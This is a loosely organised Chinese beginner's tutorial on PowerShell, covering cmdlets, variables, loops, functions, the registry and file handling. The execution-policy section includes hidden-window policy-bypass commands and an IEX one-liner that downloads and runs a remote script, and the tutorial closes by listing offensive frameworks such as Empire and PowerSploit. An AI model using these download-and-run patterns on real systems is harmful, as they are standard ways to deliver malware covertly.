
PowerShell技术概学
本文内容较琐碎,思路较混乱,仅当入门小小小基础吧
Powershell基础
特点
基本常识
- 在PowerShell下,类似 cmd命令 叫作
cmdlet
- 命令规范:
动词-名词
, 不区分大小写
- 可以直接在cmd中运行
powershell
来打开
查看PowerShell版本
Get-Host 或者 $PSversionTable.PSVERSION
|
ps1文件: 一个PowerShell脚本其实就是一个简单的文本文件
运行脚本
1.完整路径
2.当前路径:./test.ps1
基本命令
Get-Command : 得到所有PowerShell命令
Get-Process : 获取所有进程
Get-Help : 显示有关 Windows PowerShell 命令和概念的信息
Get-History : 获取在当前会话中输入的命令的列表
Get-Job : 获取在当前会话中运行的 Windows PowerShell 后台作业
dir –r
|
执行策略
Get-ExecutionPolicy
- Restricted - RemoteSigned - AllSigned - Unrestricted
|
绕过本地权限执行脚本
powershell.exe -ExexutionPolicy ByPass -File xxx.ps1
|
本地隐藏绕过权限执行脚本
powershell.exe -ExexutionPolicy ByPass -WindowStyle Hidden -NoLogo -Nolnteractive -NoProfile -File xxx.ps1
|
用IEX下载远程PS1脚本绕过权限执行脚本
powershell.exe -ExexutionPolicy ByPass -WindowStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
|
可以直接在终端进行数字计算…..笑死
自定义Powershell控制台
右键自己看着自己的习惯调整吧
编辑选项:
Powershell快捷键
与linux中相似
alt+F7 PgUp PgDn Esc Home End
|
Powershell管道和重定向
基于对象的
管道:
ls | findstr "an"
ls | Format-table name
`get-process p* | stop-process`
|
重定向:
ls | Format-table name >> test.txt
|
Powershell数学运算
直接在终端执行即可,无需多讲
进行存储单位换算:
运算/比较
#运算 1gb/1mb*18kb # 比较 1gb -gt 1mb
|
进制转换,比如十六进制:0xa
Powershell执行外部命令
打开应用
#直接打开 notepad
#或者带双引号 &"notepad"
# 直接打开服务 services.exe
# 查看环境变量 $env:path
# 仅在当前终端设置环境变量(临时生效) $env$path=$env$path+"路径"
|
Powershell命令集
一般是动词-名词
结构
查看所有命令:Get-Command
查看命令帮助: get-help
查看命令历史:get-history
Powershell别名
使用
get-alias
get-help 命令
get-alias -name ls
get-alias | where {$_.definition.startswitch("Remove")}
get-alias |group-object definition |sort -descending Count
|
自定义别名
set-alias -name pad -value notepad`
del alias pad
$profile
New-Item -Type file -Force $profile
Set-Alias notepad++ "C:\Development Kit\Notepad++\notepad++.exe"
export-alias demp.ps1
import-alias -force demo.ps1
|
Powershell变量
变量基础
#定义变量 $name="hhh" #打印 直接$name
# Note: 大小写不敏感,所以特殊变量尽量用花括号 ${"i am a boy"}="ggggg"
# 可以直接运算 $n=(2+8*10)/2
# 多个变量同时值 $n1=$n2=1 $m, $n=1, 2
#调换变量值 $n1, $n2=$n2, $n1
|
变量操作
test-path variable:$n1
del variable:$n1
remove-variable
Clear-Variable Get-Variable New-Variable Remove-Variable Set-Variable
$server = '10.10.10.10' Set-Variable server -option Readonly
New-Variable nu1 -Value 100 -Force -Option readonly
new-variable num -Value "strong" -Option constant
|
自动化变量
1.用户信息:例如用户的根目录$home
2.配置信息:例如powershell控制台的大小,颜色,背景等。
3.运行时信息:例如一个函数由谁调用,一个脚本运行的目录等。
$home
$$ $^ $? $_ $pid $null $Host $LastExitCode
|
参考:这里
环境变量
ls env ls env:name
$env:windir
$env:name="xxx"
xxx
$Env:path=$Env:Path+";C:\Go\bin"
[environment]::setenvironment("PATH","D:\","User")
[environment]::getenvironment("PATH","User")
del env:name
remove-item env:name
|
在其他脚本中使用powershell
@echo off powershell "&'c:\Users\test\e.psl'"
|
Powershell条件判断
条件操作符
-eq 等于 -ne 不等与 -gt 大于 -lt 小于 -le 小于等于 -contains
-not 取反 -ant -or -xor
80 -eq 70 1gb -gt lmb (1,2,3) -contains 2
|
if语句
写脚本编辑器ISE里面了
$num=56 if($num -gt 50 -and $num -lt 60) { "大于50且小于60" } elseif($num -eq 50) { "等于50" } else { "小于50" }
|
switch语句
$num=45 switch($num) { {($_ -lt 50) -and ($_ -gt 40)} {"小于50且大于40"} 50 {"等于50"} {$_ -gt 50} {"大于50"}
}
|
Powershell循环结构
foreach语句
$arr=1..10
foreach ($n in $arr) { if($n -gt 5) { $n } }
|
打印路径中大小大于多少的文件
$pat_val=dir D:\antSword foreach ($file in $pat_val) { if($file.length -gt 1kb) { $file.name } }
|
while语句
while
$num=15 while($num -ge 10) { $num $num -- }
|
do … while(先运行一次)
$num=15 do { $num $num -- }while($num -ge 10)
|
continue与break
break
$num=1 while($num -le 10) { if($num -eq 4) { break }else { $num } $num++ }
|
continue
$num=1 while($num -lt 10) { if($num -eq 4) { $num++ continue }else { $num $num++ } }
|
for语句
$num=0 for($i=1; $i -le 100; $i++) { $sum+=$i $sum }
|
switch实现循环
$num=1..10 switch($num) { {($_ % 2) -eq 0}{"此数值是偶数:$_"} {($_ % 2) -ne 0}{"此数值是奇数:$_"} default{"num=$_"} }
|
Powershell数组
数组的创建
$arr=1,2,3,4
$arr=1..5
$arr=1,"hhh",(get-date)
$arr=@()
$arr=,1
$arr=ipconfig
$arr -is [array]
|
访问数组
$arr[0] $arr[-1]
$arr[0..2]
$arr.Count
$arr[($arr.Count)..0]
$arr+="haha"
|
Powershell函数
自定义函数及调用
function test { ping www.xpshuai.cn. }
test
|
传参
function test($site) { ping $site }
test www.xpshuai.cn
test p1 p2
|
函数返回值
function add($n1, $n2) { $c=$n1,$n2 $sum=$n1+$n2; $sum.gettype().fullname if($sum.gettype().fullname -eq "System.Double") { "c为数组,索引取值: $c[0]" return $n1,$n2,$sum,"double浮点数" } return $n1,$n2,$sum }
add 1 2.5
|
Powershell定义文本
powershell中转义符是反引号
"hello先执行命令: $(Get-Date)"
"hello表达式: $(5*6)"
"单双引号hello, my name is '哈哈'"
"都用双引号,用反引号转义:hello, my name is `"哈哈`""
"你好啊 `n 朋友 `n 我换行啦"
|
Powershell实现用户交互
read-host
$input=read-host "请输入用户名" "您好,你输入从用户名为: $input"
|
Powershell格式化字符串
$name="lili" $age=20 $gender="girl" "My name is $name, i am $age years old, and i am a $gender"
$name="lili" $age=20 $gender="girl" "My name is {0}, i am {1} years old, and i am a {2}, {3}." -f $name,$age,$gender,$(3*6)
|
String对象方法
对字符串的操作
$str="D:\Desktop\Cobalt strike4\test\a.txt"
$str.Split(".")[-1] $str.endswith("ll") $str.Contains("txt") $str.CompareTo("D:\Desktop\Cobalt strike4\test\a.txt") $str.IndexOf("w") $str.Insert(3,"hhh") $str.Replace("c","C") $str.Remove(0)
|
Powershell操作注册表
cd hkcu: cd .. exit
cd HKLM:
get-ItemProperty
set-ItemProperty
remove-ItemProperty
命令 描述 Dir, Get-ChildItem 列出键的内容 Cd, Set-Location 更改当前(键)目录 HKCU:, HKLM: 预定义的两个重要注册表根目录虚拟驱动器 Get-ItemProperty 读取键的值 Set-ItemProperty 设置键的值 New-ItemProperty 给键创建一个新值 Clear-ItemProperty 删除键的值内容 Remove-ItemProperty 删除键的值 New-Item, md 创建一个新键 Remove-Item, Del 删除一个键 Test-Path 验证键是否存在
|
Powershell文件操作
New-Item xxxx -type directory
New-Item xxxx.txt -type File
Remove-Item test
Get-Content test.txt
Set-Content .\test.txt -Value "哈哈哈哈哈哈哈"
Add-Content .\test.txt -Value "嘻嘻嘻嘻嘻嘻嘻嘻"
Clear-Content .\test.txt
|
常用的PowerShell攻击工具:
- PowerSploit
- NiShang
- Empire (基于PowerShell的远控木马)
- PowerCat (PowerShell版的NetCat)
其他技巧
… …